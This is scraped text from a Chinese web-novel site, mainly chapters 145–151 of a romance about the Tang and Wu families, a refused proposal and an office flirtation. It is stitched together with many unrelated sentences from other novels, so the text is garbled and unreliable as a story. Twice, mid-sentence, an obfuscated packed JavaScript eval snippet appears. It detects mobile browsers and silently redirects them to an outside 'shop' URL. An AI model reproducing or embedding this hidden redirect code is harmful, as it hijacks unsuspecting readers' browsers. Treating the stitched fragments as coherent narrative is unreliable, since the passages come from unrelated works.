“我不是说过,不许你上二楼,难道你不记得么?你是不想呆在这里了?”虽然过去半个月了,但秦若对由美子的警惕心一点没下降。 “才刚开呢。”秦龙对一级团没有拿到一血稍微有些不满,不过看到兵线来了也不再和马路说话,而是开始补兵。 正好今日他们刚从邺城回来,就听说董家一家都搬到了江林镇,而今正好又碰到了这个玩伴好友,出于关心,自然要多问几句。 草帽男眼中寒若冰峰,李凡顿时感觉到了一股浓重的杀机,就在这时,躺在摇椅上闭目养神的掌柜轻咳了一声,那股杀机自然回退。 此时,萧礼已经走近萧荡,双手搭在他的肩膀上,谁知道萧荡直接侧倒了过去,看着胸口的大洞他立刻知晓,自己的儿子被人杀了。 顾揽月这才把目光看向台上,那应该就是自己的舅舅吧,自己来的还真是时候呢,要不要这么巧? 叶成帷大吼,通体璀璨,金芒骇人,人皇祖血的可怖威势轰然爆发,整座大古神山都在颤抖,天地颤栗,万灵震慑。 自己才刚到翼京,韩琼紧跟着就过来,黄鼠狼给鸡拜年,肯定是不安好心。 太阳逐渐落山,原本用灰布罩住的向日葵也终于可以探出脑袋,呼吸一下新鲜的空气。 他在娱乐圈里摸爬滚打这么久,看清人心的功夫,早已经刻在了骨子里。 清清爽爽的回到房间里,打开林洛打包回来的饭菜,真好,都是她喜欢的吃的,苏念的脸色很是满足。 “这熟悉的口音,还真是你。”王俊杰上手扯了扯林沧的脸,惹得林沧一巴掌将他的魔爪拍开。 第145章 吴四海来提亲! 这一夜,林泽睡了七个小时。 次日清晨,是被一阵电话铃声吵醒的。 看看手机屏幕,时间早上六点整。 揉了揉惺忪的眼睛,林泽并没有坐起来。 “南希,什么事?” “林泽,今天咱们同学聚会,我提醒你一下,你可别忘了!” 林泽一怔。 抬眼看了一下窗外。 夏季的六点,太阳已经升起。 窗外有微风。 几片枝叶,正随风摇曳。 这是个不错的清晨,可南希这一通提醒电话,打得也太早了吧? “我知道了,谢谢你。” “我是不是把你吵醒了,没事,你可以接着睡,我就是想提醒你一下,下午五点正式开始,别忘了!” “好,谢谢!” 林泽说话很客气。 南希也没接着说什么,很快挂断电话。 将手机放到一旁。 林泽这才起身。 洗漱完毕后,来到阳台点了一支烟。 自嘲地笑了笑,林泽有些不好意思。 如果不是南希提醒,估计他都忘记同学聚会是在下午五点。 不过。 林泽也没有为这件事情担忧。 昨天跟张军分开的时候,他们两个人已经说好,一块儿去酒店。 到时候。 无论早晚,张军都会来找他。 简单做了些早饭。 林泽吃完以后便去医院。 守着爷爷,即便不做什么,林泽也觉得心里踏实。 钟表指针指向八点。 林泽已经来到病房。 看着医护人员来来**,林泽一直站在最偏僻的角落。 爷爷的病情他帮不上忙。 至少,能做到不给添乱。 …… 同一时间。 一向晚起的吴四海,这个时候也忙碌起来。 感受着清晨的风还有阳光的味道,吴四海精神抖擞。 “来福,东西可都准备好了?” “老爷,一切都按照您的吩咐准备妥当,咱随时都可以出门。” 一位四十来岁中年男子,恭恭敬敬地回话。 看了看镜子里的自己。 吴四海嗯了一声,却不着急出门。 调整了一下怀表的位置,吴四海又伸手整理了一下额前的头发。 现在,时间还有点早。 “来福,我……是不是太严肃了?” 话问完后。 吴四海动了动嘴角,勉强扬起一丝弧度,神情才不像刚才那样紧绷。 可是。 笑容依旧有些牵强。 被唤作来福的男人上前一步,立刻满脸堆笑道:“老爷,您这是威严,这是家主身上应该有的气势,这叫……不怒自威!” 说道后面那个词,来福一脸谄媚。 听完这番话,吴四海阴鸷目光变柔和。 “照你这么说,今天的事情能成了?” “能成,准能成,咱们公子风度翩翩,他们这是高攀!” 来福一边说话,一边打量吴四海的脸色,看似平常的一句话说出来,实则已经在脑子里过了好几遍。 吴家老爷子,不像表面那么和善,万一哪句话说不好了,他必然要吃不了兜着走。 在吴家当差多年,这一点,来福早已经悟出。 所以。 这次吴四海重新回来,来福伺候得更加小心翼翼。 就好比现在。 吴四海脸上虽然带着笑,但他没有开口说话,来福肯定是不敢抢先出声的。 片刻工夫过后。 吴四海的声音再次传来。 “来福,出门!” “是,老爷!” 吴四海深吸一口气,脸上是前所未有的郑重。 今天他要办一件大事。 事关吴家前途的大事! …… 唐家别墅。 唐英豪看着吴四海,眼神当中满是错愕。 在东海。 吴家虽然不似前几年那样风光,可到底是有些底蕴的。 这次吴四海不请自来,而且还带了如此贵重的礼物,实在让唐英豪摸不着头脑。 不过。 唐英豪还是以最隆重的待客之道,将吴四海请进门。 “吴先生光临寒舍,不知有何赐教?” 唐英豪竭力尽着地主之谊,说话也变得无比客气。 吴四海笑笑,随即摆摆手,一脸谦和道:“唐老弟,不必如此客气,我只不过在外面待了三年,现在回国,也是回乡。” “吴家跟唐家之前没有生意上的往来,实在是没有机会,现在小儿吴庸也算有一番作为,以后两家合作的日子指日可待。” 说到这里,吴四海顿了顿。 “不过,我此次前来,并不是为了生意上的事情。” 吴四海脸上笑容更盛。 唐英豪跟周美珊却已经是一头雾水。 没等唐英豪继续询问,吴四海已经自顾自地说道:“说来惭愧,我此番过来,是来给小儿吴庸提亲的。” “提亲?” 周美珊一怔,几乎是不由自主地问了一句。 唐英豪也一样。 两个人异口同声,诧异的表情如出一辙。 首先反应过来的是唐英豪。 “吴先生,你说要替吴庸提亲?” “是啊,吴庸这孩子腼腆,有些话他不好说出来,但我这个做父亲的却心知肚明,他跟唐小姐两情相悦,这事也应该结果了。” 吴四海的话说得非常自然。 唐英豪却如坐针毡。 吴庸,到底要唱哪一出? 他们父子二人唱起双簧来了! 昨天跟吴庸见面,他只说会好好对待唐若涵,却没有说要提亲。 现在。 吴四海直接杀过来,那接下来的事情该怎么处理? 同意? 拒绝? 不管是哪种决定,都让人心里堵得慌! 唐英豪掌控感极强,这种被人牵着鼻子走的感觉,实在是让人不悦。 可话既然说出来了,唐英豪也不好拒绝。 一时间。 气氛变得尴尬。 周美珊一会儿看看吴四海,一会儿看看唐英豪,最后,兀自上前一步。 “吴先生,今天您能够过来,我们的确挺高兴的,关于小涵跟吴庸的事情,我跟老唐也是赞许的。” “只是,这毕竟是两个孩子的事,咱们若是贸然做主,是不是对他们有些不尊重?” “你看,他们也都是成年人了,咱们虽然爱子心切,可也不能事实强加干涉。” “我的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952496|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思是,要不要把两个孩子叫过来,一块儿坐?” 话音未落。 唐英豪立刻接上话茬。 “对,我觉得这样行,我现在就给小涵打电话!” 说话间。 唐英豪迅速拿起手机,熟练地拨通了唐若涵的电话号码。 对面。 吴四海脸上一直保持着笑意。 周美珊的话说得没有错,于情于理,这样做都合适。 只是,吴庸就不必来了。 他们唐家做不了女儿的主,可老吴家却是有家规的。 吴四海坐在沙发上没有动。 甚至已经做好心理准备。 一会等到唐英豪问起来,他直接来一句,“我,就能代表吴庸。” 如此既能展现出一个做父亲的威严,同时,也不会让唐家小看了去。 “小涵,你现在在哪儿,马上回家一趟,有些事情要跟你说。” 电话刚一接通。 唐英豪直接说出目的,丝毫没有过多的寒暄。 电话那端。 唐若涵倒吸一口凉气。 “爸,有什么事情不能在电话里说吗?因为处理私事,我已经耽误好几天了,公司那边有很多业务要处理,我实在走……” “不开”两个字还没说出来,唐若涵的话直接被打断。 “我们要说的事情,比你的业务要郑重得多,你现在在公司是吧,马上开车回来!” 再次开口。 唐英豪的语气已经沉了几分。 唐若涵无语。 盯着墙上的钟表,整个人都要崩溃。 今天……她又起晚了! 一睁开眼就是八点多! 匆忙收拾一番,直到现在连早饭都没有吃。 本来就已经耽误很长时间了,没有想到,父亲现在竟然又打电话过来让她回家。 不行! 一定要拒绝! 跟唐家的事业比起来,闪创影视传媒确实不算什么。 可是,这却是她的心血! 这一次妥协,以后他们会一直用这种方法操控自己。 所以,没的说! “爸,我……” 唐若涵提高声音,可话只说了一半,电话竟然挂了。 一时间。 唐若涵愣在原地,半天没有缓过神。 “天哪,他们到底要干嘛!” 崩溃的将手机扔到一旁,唐若涵都要哭出来。 …… “吴先生教子有方,在这一点上,我们自愧不如,小涵是我们唯一的女儿,我们确实把她惯坏了。” “两个孩子的事,我们也清楚,如果能够喜结连理,自然是有情人终成眷属,我们不反对。” “一会儿,小涵过来,她若是说没意见,我们自然也支持。” 唐英豪脸上带着笑,时不时地看向门外。 旁边。 周美珊目光当中闪过一丝慌乱,心,都要从嗓子眼儿里蹦出来。 唐英豪,到底在说什么! 这么轻易地答应吴家的提亲,那岂不是没有了筹码? 那还怎么让唐若涵心甘情愿地替他们做事? 眼看着唐英豪还要继续说下去,周美珊不动声色地朝他这边挪了挪。 趁着吴四海喝茶的功夫,周美珊轻轻碰了碰唐英豪的胳膊。 第146章 空调坏了,人家……热。 唐英豪侧头,心绪复杂。 虽然脸上一直带着笑,可眼底,到底难掩那意思慌乱。 面对眼下局面,他骑虎难下。 吴庸还有用处,暂时不能断了这条线。 可吴四海过来提亲,着实让人心里不痛快。 若是现在拒绝,昨天跟吴庸见面所做的铺垫,就都成了幌子。 可如果答应下来,那唐若涵跟吴庸岂不是顺利地走到一块? 如此一来,他们也就没有了对唐若涵的把控。 所以。 眼下他们这边只能同意。 这个好人,他做也得做,不做也得做。 一时间。 唐英豪心里头的火气,都不知道该从哪里发。 现在也只能等着唐若涵回来,走一步看一步了。 “老唐……” 被唐英豪盯着,周美珊心中一阵忐忑,短短两个字当中,已经满是询问。 “怎么,你是觉得我这茶泡得不好?现在满屋子都是普洱的茶香。” 唐英豪转移话题。 周美珊也只得勉强笑笑。 对于他们夫妻二人的表现,吴四海全都看在眼中。 既然要等唐若涵,那就等等好啦。 至于这两个人的小心思,他也懒得去猜想。 端起面前的茶盏,轻轻嗅了嗅,吴四海眼角露出笑意。 “普洱真是好茶,茶香氤氲,茶汤似墨,可浓淡……皆由心生。” “吴先生不愧是懂茶之人,这点睛之笔讲得好。” 唐英豪附和。 屋子里的气氛有些许缓和。 十几分钟后。 门口传来一阵脚步声。 吴四海手尖一颤,本能地转身。 唐若涵……来了! “爸妈,这么着急找我回来,有什么事吗?” 还未站稳身体,唐若涵已经开口询问。 等把话问完,这才看到沙发上还坐着客人。 一时间。 唐若涵眸子里满是惊讶。 这是……吴四海? 吴庸的父亲? 想想昔日父亲对待吴庸的态度,再看看眼下的情形,唐若涵一时间缓不过神。 “爸,这是……” “这是你吴伯伯啊,怎么不记得了?” 唐英豪的脸上挤出一丝笑容,故作自然的提醒。 唐若涵眉头皱得更紧。 吴四海她自然记得。 只是,在这种场合出现,让人费解。 唐若涵震惊的同时,吴四海也在观察着面前的女孩子。 唐若涵五官精致,轮廓柔和。 即便是吃惊,身上温雅的气质也难以掩盖。 质地细腻的真丝衬衫,将整个人衬托得优雅,又不失干练。 很好。 是他心中完美的儿媳首选! 周美珊起身,说了一下吴四海过来的目的,随后摆手道:“小涵,过来坐。” 唐若涵对着吴四海点了点头,算是打过招呼,人却站在刚才的位置没有动。 “所以,小涵,你的意思是……” “我不同意!”周美珊话音未落,唐若涵已经做出决定。 唐英豪心中大喜,可依旧做出惋惜的模样,“怎么回事?你跟吴庸不是相处得挺好吗?” “爸,我跟林泽还没有办完离婚手续,你们这是要干什么?平日里,时时刻刻将唐家的颜面放在嘴边,现在怎么忘了这一层?” 唐若涵翻出唐英豪经常说的话,将唐英豪怼得哑口无言。 吴四海见状。 更是惊讶得嘴巴都合不拢! 本以为会水到渠成的事情,没想到,在唐若涵这里出了纰漏。 唐若涵竟然拒绝吴家的提亲! 怎么回事? 吴庸说的那个为他神魂颠倒,那个言听计从的唐若涵哪里去了? 眼前的唐若涵像一只刺猬,浑身上下都充满抗拒排斥。 “早是早了些,但这只是提亲,有些事情是要提早准备的。” “身为父母,谁都希望儿女有一个妥帖的归宿,小涵,你也不要生气。” “因为我们做得不妥说气话,可不能这么莽撞。” 吴四海的话说得很含蓄,就差说出一句“你不要耍小孩子脾气”了。 唐若涵一怔。 脸上神情更加坚决。 “吴叔叔,您误会了,我还没有幼稚到那种地步,之所以拒绝,是因为我觉得,现在订婚为时过早。” “并且我发现,吴庸这次回来变了很多,他不是我心中合格丈夫的人选,至少现在如此。” “上一段婚姻我听从父母之命,这一次,我想自己做主。” 唐若涵声音清晰,说话掷地有声。 一番话说出来。 在场的人全都目瞪口呆! 吴四海震惊,嘴唇微颤。 唐若涵嘴里所说的,跟他所想的截然不同! 跟吴庸所讲的,更是天差地别。 唐英豪也没有想到,事实竟然是这样。 瞬间。 他的脑海当中只冒出一个想法。 姓吴的那个小兔崽子,把他给骗了! 唐若涵从小在他们身边长大,对于她脸上的微表情,唐英豪一清二楚。 现在。 唐若涵绝对没有说谎,而且十分冷静。 所以,并不存在吴庸所说的感情顺利发展,也不存在什么两情相悦。 吴庸说的,深厚的感情基础,仿佛也轰然倒塌! 骗子! 姓吴的,你这个死骗子,说谎都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954708|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到我头上来了! 唐英豪满腔怒火,握成拳头的手上,青筋暴起。 对面。 吴四海的脸已经红到脖子,妥妥的,涨得像猪肝一般。 看向面前情形,唐若涵懒得收拾这种烂摊子。 抬腕看了下手表,冷然道:“爸妈,不好意思,我公司还有事情,我先走了。” 甩下这句。 唐若涵毅然转身离开,头都没有回。 话已经说出,态度已经表明,接下来该怎么处理就是他们的事情了。 走出别墅。 唐若涵想的竟是,今天,一定要买个闹钟,不然,明天又要起晚了! 以前,她也有睡过头的时候。 错过了定时,唐若涵也从来没有担心过。 因为有林泽。 林泽会在门外叫醒她,还会准备好可口的早餐,甚至,自己提前交给林泽的事情,他也会做得井井有条。 所有一切都不用担心。 可现在,全都乱了…… 如果凡事亲力亲为这么困难,唐若涵甚至怀疑,以前的自己是怎么过来的? 烦躁地拢了一下头发,唐若涵迅速上车。 公司里还有很多事情要处理,这种状态必须早日调整。 …… 东海林华文物鉴定中心。 总裁办公室。 “吴总,这是您需要的资料,请您过目。” 秘书声音柔柔的,将文件递过来之时,身体前倾,两只胳膊很自然地支在办公桌前。 如此近的距离。 两个人似乎能听到彼此的心跳。 吴庸抬眸。 目光停在秘书的脖颈上。 “王玥,在这多长时间了?” 王玥轻笑出声,“回吴总的话,到明天,就一个月整了。” “哦,实习期过了,那就是自己人了。” 吴庸话里有话,他手捏住王玥的下巴,眼神却从未离开。 王玥的皮肤很有弹性,也很细致。 微微嘟起的红唇,此刻,也别有一番韵味。 “现在已经是正式员工,公司该有的福利,肯定少不了你的。” 吴庸缓缓起身,贴近王玥的耳朵边上说了一句。 王玥顺势一贴,声音微喘。 “吴总,人家还真有一件事情需要麻烦您,秘书办公室的空调坏了,热。” 吴庸嘴角扬起。 “那,就搬到这边来,我保证让你……” “砰!” 吴庸话没说完。 门突然被推开。 王玥打了一个激灵,急忙低头,调整好站姿。 吴庸咬牙切齿,咆哮道:“滚出去!谁他妈让你们随便进来的!” 可抬眼看到面前的身影,一下子……蔫了! 第一卷 第147章 我要接手唐家的破烂货! “你……我……” 吴庸舌头打结,脑门噌噌地冒冷汗。 屋子里明明开着空调,温度适宜,可吴庸却在打哆嗦。 旁边。 王玥表情僵住,一时间,不知道该走该留。 眼前这人,她不认识。 可看到吴庸脸上的表情,王玥便能推断,这人不简单。 面前的人脸上满是愠色,心情似乎糟糕到极点。 “出去!” 要说齐天大圣是她最为痛恨的诡异生物的话,樊天星就是她最为痛恨的人类了。 虽然接到了赦免尔朱荣部众的旨意,但高欢、刘贵、贺拔允等人还是率领五千契胡精骑仓皇出逃洛阳。 “要么你就死在这儿,要么你就跟我们一起去,你自己选。”月璃卿檀失去了耐心,板着脸说道。 钨金大剑重重的敲击在另外一只钢蟹战士的躯体上,匪夷所思的力量碾压在钢蟹战士的头颅上。 在故事的结局,歌剧魅影放弃爱情的执着,看着克里斯蒂娜远去,最终再也不出现。 而猎魂森林深处,一个胡子拉碴的男人正在这里,此人正是唐昊,他也是今天猎魂森林里反常现象的源头。 一则故事一场情,天界之中众人凝聚着法力冲向九重云之上,在另一时空形成了壮丽的云状彗星。 科尔·法隆与正在执行另一个计划的艾瑞巴斯两人是怀言者军团之中所有人公认的毒囊。 况且自己的身上还有着公安的背景,要是加上这个因素的话,或许可能有人说,“罗生门是故意伪装成南宫清的”。 简单估算了下这两盒虫草的价值后,她一把将其拿过,就要往洛冰颜的手里塞。 史蒂芬·斯特兰奇倒不是害怕接下来发生的事情,可以说他早已有心理准备,他只是担心时间宝石真的被夺走。 奈何,昨天晚上,徐素青情真意切,那一夜白了头的爱意,让他无法抗拒,无法拒绝,更没有理由去博了她的爱意。 787的特点就是大,这架飞机的客舱分为上下两层,除此之外还有一个货仓。加起来就是三层了,最大载客量能有六百人,比所谓的空中列车a380还要大。 这一条裂缝似乎横断冰雪神宫,硬生生地将这个地方一分为二的样子,而且下方极为幽深,时而有着一缕缕魔气飘荡而起。 仿佛周围所有的一切都对自己如此的友善。这才是真正属于自己的世界……只有在这里,才有真正的安全感可言。 肖恩没有在宇宙之中晃荡,见到了死亡,他已经做好了绝大多数的准备,到现在也就只剩下最后一件事需要他去处理了,不过最后的这件事倒是并不急切,毕竟就在那里搁着也跑不了。 有如是截取了上苍一段精华而孕生出的神玉,至坚至硬,永恒不朽。 火焰的黑色与丹鼎的黑蓝色完美的融合在一起,加之上面闪烁的光芒,使得楚天的手上散发出一种令人沉醉的力量。 这一些光剑,模样与郑素手上的灵宝相似,但明显是虚幻了许多,一看就是凭空以灵力凝聚出来之物,威能与本尊差了不少,只是这样的数量,就是梁榆都需要防范一二,不然这大亏,可谓是吃定的了。 刘五爷急了,这才要领着他们到河滩上表演。走在路上,那胖子仍然持怀疑的态度。 她不知道她该用什么词汇来形容自己此时此刻的心情,单反正论不上开心,也论不上不开心,或许,只是有那么一股担心,属于某种异度情感的担心。 第一卷 第148章 说话可以,别喷粪! “事情不能操之过急,如果唐若涵防范起来,接下来的事情就难办了,所以暂时还得先哄着。” 思索片刻,吴庸说出眼下想法。 吴四海的心气突然消失大半。 叫唤了半天,你就说个这? “哄到什么时候?” 吴四海声音变冷,明显的能够听出隐藏的怒火。 飞机正打算继续安排社团的活动,突然讲话大堂的门被一阵大力撞开。 任何事情在开头的时候都是极其艰难的,林落雨没有坚持多久,他就痛的想要放弃了。 冷弥浅视线不自觉的朝身后两人寻了去,却正好对上明若寒一双好看的眼。 “你什么时候涨知识了?居然也懂得基因、智人的,是不是丹姐姐教你的?”若特问道。 今晚过后,澳门崔氏覆灭,三大家变成了两大家,徐、何两家双雄模式开启。 “阿头,刮到那个王八蛋杀手的位置了!”李鹰肚子上还缠着一道白色的绑带,却生龙活虎地跑了进来,身后还跟着袁浩云。 “幽幽子,在看什么呢?”叶开一把将幽幽子抱在了自己的怀里,然后自己坐在了电脑椅上。 两人在不知不觉间便把这座庞大的摩羯星人生产克隆人的基地参观完了。 他提的问题总是搞得老师哑口无言……凯若特这番言谈举止实在与火星人格格不入,他做事太随意,又常常把“地球”挂在嘴边,因此班里的同学给凯若特取了个绰号叫“地球特”。 此时的张华松,已经超越李宁,成为华国唯一一位在单届奥运会上获得4枚金牌的运动员。 助理给大家安排了顺序,彩排两次之后,人和狗已经达到了默契。 “可……”谭若彤开口说了一个字,接而便看到白飞扭过头去,最后她只能叹口气把话咽下去了。 将车子停在马路旁,一身轻松的走下车,那些“东西”林轩留在了车里,明天孔庆龙会直接派人取走的。 再说了,就你们现在这关系,你送人家两颗糖,人家还以为你2呢。 没事的时候就会来看看这个叫人类的生物,但一开始都只是远处观看,在龙阳靠近的时候,它们就会逃走,不过许久的相处后,他们没有感觉到龙阳的恶意,半个月的相处下来,龙阳就彻底的和这里的精灵们混熟了。 众人围着轩辕修一通乱忙,他总算缓了面色停了咳,自是一番告罪。 只不过上来后,林轩傻眼了:梓喵她进的是哪个房间,不会要一个一个找吧。 九皇子轩辕璟干脆凑去苏静卉身边给她加油,而如此一来,苏静卉琴下代表那只雏鸟在众人眼里看来,也就顺理成章的迎风抗雨了。 等他吞噬了通天树的意识后,叶向晨的眼睛总算是恢复了他自己的光芒了。 这件事足以证明,他成长的环境或许受陆父影响带了阴影,但却没把他变成一个不问青红皂白或者穷凶极恶的人,人性至善,他始终没有摒弃善良。 为什么皇帝突然要把陈贵妃和婴儿打入死牢?莫不是陈贵妃真的生了个怪胎? “少主只用将自己的神识分割出两道,分别注入这两具神魔傀中,他们就能成为你左右手般的存在,只需要一个念头,他们就能按照你的吩咐行事,绝对不会有一丝差错。”大祭司道。 第一卷 第149章 她说,只想喝粥? 现场一片寂静。 所有人的目光都停在马小阳和周磊这边。 周浩起身,像是不经意地走到马小阳身后。 “想干嘛?仗着人多欺负人?” 周浩和马小阳跟林泽是一个寝室的,在大学期间,他们的关系一直非常好。 现在为林泽出头,情理之中。 周浩声音平静,语气中带着一丝低沉。 “欺负人不至于,你别阴阳怪气。” “哼……”秦孤月怨念地看了看大叔手中的五行乾坤壶,正要说什么,陡然听见外面一个粗犷汉子的声音响了起来。 “大总统英明,不瞒大总统,我这次过来是来接受族长之位的,事先根本不知道此事,确实是赶巧到的,还好没有酿成大错,万幸,那两个特工和我那侄子就交给大总统处理了。”莱西赶紧解释道。 羽村心惊之时,只见从对面的空间之中忽然窜出了一道黑影,身上散发着的是他无比熟悉的气息。 震撼和兴奋是因为他的姐姐菲琳娜如果与道教合作,那么力量就会得到大幅度增加,夺取皇位的胜算就会高出不少,怀疑与忌惮是因为道教的力量有些过于强大,如若在争夺皇位之时心生不轨,那将会是一个巨大的灾难。 “你害怕了?”九儿冷言冷语的讽刺着。她用了十年时间,追上了伊泽·婆罗门,绝不让其这么轻松的离去。 然后,事情在五天后出现了戏剧性的变化,大批人忽然从四面八方赶来,就再也没有离开了,就跟约好了似地,这算什么?大结盟?那比赛还怎么比? 当时秦孤月就记下来了,知道了六大长老之中除了尚宇穹,还有一个上官天琦。 “最好是,我怀疑这里面其中的一个号码还有别的人再查。”云城噤声之后,用唇语说了几个字。 应曦的灵兽,是一只紫色的藤蔓状灵兽,它飘近剧毒蜂王,手心中微弯的紫藤匕首,将一枚灵核挖出。 “或许是雨大大,看不清,不敢过来吧?”赵无极随口说着,一边摸了一把脸上的雨水,雨大大,脸上满是雨水,很碍事。 听到黑芒这话冯强不敢了,这是几个意思,明知是坑明知是有危险还要往进钻? 不过,这等防御,在半步至尊一重境的闫灵儿的眼里,丝毫不值得一提,倒是可以让得他,可以放心斩杀。亦是如此,在短时间的界辰内,他方才有着猎取一百二十三道的机会。 “叶伯父,你说,但有所命,晚辈不敢不从。”杨元生装模作样的说道。 帝天在彻底吸收掉阿尔巴以及他的恶魔军团们的生命力后就踏进了那道重新变得凝实的大门,随后就从斗罗大陆上消失了。 据说裂天剑宗有十万外门弟子,居住在山谷里面修炼,这也仅仅是其中一座山谷而已,至于那些地位高的弟子,都是居住在半山腰上,而长老级别的人物,大多都住在山顶。 闫灵儿看向近在咫尺的尊狐之魂,嘴角,掀起令人毛骨悚然的森然笑意。 C位巨椅之上,古怪的生物的利爪从黑雾之中伸出,轻巧巨椅边缘,每次触碰,巨椅便在其触碰瞬间抖动一下,微妙的波动如同湖面泛起的涟漪,自巨椅逐渐传递而出,四散至十里城池各个角落。 木叶丸:一乐大叔,鸣人和佩恩在你的店前打架,你为什么不阻止呢? 陆观澜历来不喜赴宴,换做以前定然是会拒绝,可这次不一样,她得出去瞧瞧,否则,又怎能替她这位“好父亲”寻得美眷。 第一卷 第150章 他们的同学聚会,也在这? 这自血"setu"腾之中骤然降世的十六尊妖兵妖将有的其状如虎却长着人面猪口牙;有的则尾似团扇,径直如盆;还有则是外貌如牛,一对犄角,但却是双蹄着地,双手利爪。 虽然说,之前内部看片,也有人提出其他圣域,但是人总是有侥幸心理的,特别是首日票房出来,堪称是爆炸式。 本来还在思索该说些什么,阿芙的一句话瞬间让整个侧厅死一般的沉静。 首先是解锁内力,然后将内力转化成为内气,再转化为真气,随后依次变化成为灵气和灵力。 没有着急动手,将主要动手的机会交给下次。王行这次返回陆地后,首先开始了解一下现状。 看戏的夏清漓不得不感慨一句,瞧瞧顾二爷的威名,连当场太后都这么怕他。 夏清漓是知道有些朝臣的家眷并不在月都,或在老家或在月都周围的城镇。有些是家里负担不起,也有出于其他原因的。 当然,这也不影响,此时的他正在和火婆婆围殴那名侥幸躲过他偷袭那人。 正当周清暮遗憾地走至客栈门口的时候,一张图纸飞到了少年的肩膀上。 周清暮话音刚落,天幕之上交战的两道身影的其中一个,突然从上方跌落下来,如同陨石一般,撞在了一辆马车前的木板上。 所以节目组干脆决定降低一点难度,让每组选手都能有足够的发挥空间。 她跟着颜苒的时间最久,也懂颜苒这些年的努力是为了什么,如今看着颜苒能得偿所愿,她的心情就跟看着孩子长大一样,无比心酸满足。 看来昨晚迁就她,没有执意睡在客厅,使得这位青梅竹马的心情很好。 这些人都不敢碰叶与墨,跟叶与墨为敌的人,国内的还是国外的,早就风波不断了,全得歇菜。 王撕葱其实是被李博楠的一个电话给打过来的,说张让找上门来骂街。 不,她早就不是她了,从她为了救姜丞而向俞厌舟低头的那一天起,她就再也回不去曾经的她了。 这些天楚凡都在国医堂,忙得连自家饺子店开张都没去看,不过叶青一直在店里帮忙,当起了老板娘的角色。 “这个视角的确不错。”陈源也把头探出窗外,看着外面的学生们,在古街上叽叽喳喳,嗨的一批。 说着,一个刨泥巴的佣人失手把铲子里的泥巴抛到了围墙边绿化带上,压弯了原本整齐的形状,让人看着怪难受的。 叶冰涵第一次体会到什么叫有话说不出,这种状态,为什么感觉反一下才是正确的打开方式呢。 面对这样的状态,那黑衣人其实是想说出来的,虽然他知道,说与不说的结果都是一样,但是,他却被那红绫给吓软了脚,竟是一时愣在那里没有回答。 但是,方正毕竟出过几次名,还是有好事的人将方正过往的事情翻了出来,然后找到了法号,最终发了出来。 说他卑鄙也好,无耻也罢,他向来就顶着这样的名头,又怎么会怕再多顶几个? 听到魏征招呼着,邢天宇立刻飞了过去,在那平台上降落了下来。 可就是这样,抱着一个失空暴怒的幻兽的时候,上官晨也吓的面色发白,此时感觉有些虚脱。 牛亮将中年人送到目的地以后,又找了一会儿客,无着落,不禁抬腕看了下表,已经九点半了。忽然想起聚会的事,掉转车头,向前驶去,两耳对车外面不时传来的“出租车”叫喊声听而不闻。 嘟嘟这一病耽搁了不少时间,待到感冒痊愈时,离初一仅剩下五日时间了。 他说着一把抱住了邢天宇,完全是一副老朋友久别重逢的喜悦表情。 当然,这片空地不是完全的空档,有积水的池塘,周围杂草丛生,其他主要是垃圾堆,各种脏污之物直接倾倒在这里,朱达来时候天气还有些热,气味刺鼻之极,蚊虫更是肆意横飞,也不知道是积攒了多少年的成果。 而北城沉闷炎热了十多天的天气终于迎来了一场大雨,周璟玉蜷缩在被窝里,面色发白。 见此,苏兰玖面色一怔,神色自然地收回手,这才抬眼打量着眼前的男子。 一旦被找出罩门所在,并且打中的话,习练者轻则重伤,修为倒退,重则身死当场。 魔君拿来一看,眼底泛起了光亮,他的计划还真得借慕凡夕之手。 身在空间中的李元,都感受到了压迫感,这要是直接露面,恐怕会被立刻撕成碎片。 因为眼前这孩子很可能是因为受到过什么惊吓,从而造成晚上无法入睡,或是抽搐,或是大叫的症状。 跟前的老匠人十分殷切地进行着介绍,这些都是按照高璋给出的要求和指标搞出来的。 “你怎么现在才到,半决赛还有五分钟就要开始了。”金凯有些不爽。 疾风狼是中级凶兽,但是其中也会诞生出王者,也就是疾风狼王,高级凶兽。 不由抬起头来,却正好对上了百里熙的带笑的视线,她又连忙低下头,咬着嘴唇思忖。 苏玉卿自是听出了这中间的信息,火儿带着月璃去,说明火儿也曾去过。 随着时间悄悄流逝,探测器发回的画面越发昏暗了。随着恒星逐渐从地平线上消失,这个星球上的“月亮”慢慢地升了起来。在其中一副画面上,众人看到了天空上那个明亮的“月亮”。 “可查到到底是如何失忆的?”祁冥夜很想知道,到底是她是怎么离开魔界的,又是怎么失忆的? 难道向少林寺的人要出师,必须要闯过十八铜人吗?要打赢他们,才能下山? 阿澈被人簇拥在最中间,一身白色戎装,看着极有威严其实,好像是那天上的人物。 一上屋,不应该说,穆晓晓才进入客栈那一刻,祁冥夜就闻到了一股非常的熟悉的味道。 第一卷 第151章 怎么?他坑你爹了? “有劳井师弟了。”龟宝也没有什么事情要问,于是也直接客气地讲道。 “宗主几时不在宗门呢,刚才你的师弟说宗主正在为皮填高护法么?”龟宝忽然爆发了灵压,直接压向了冯玲筝,满脸疑惑冷冷地问道。 “滋~滋~”的声音不一会,便散出一条通路来,长老见状连忙顺着白光冲了出去。 杨再兴恶狠狠地看着曹亮,头盔上浓密的白缨冠在风中微微耸动,如同一头雄狮。 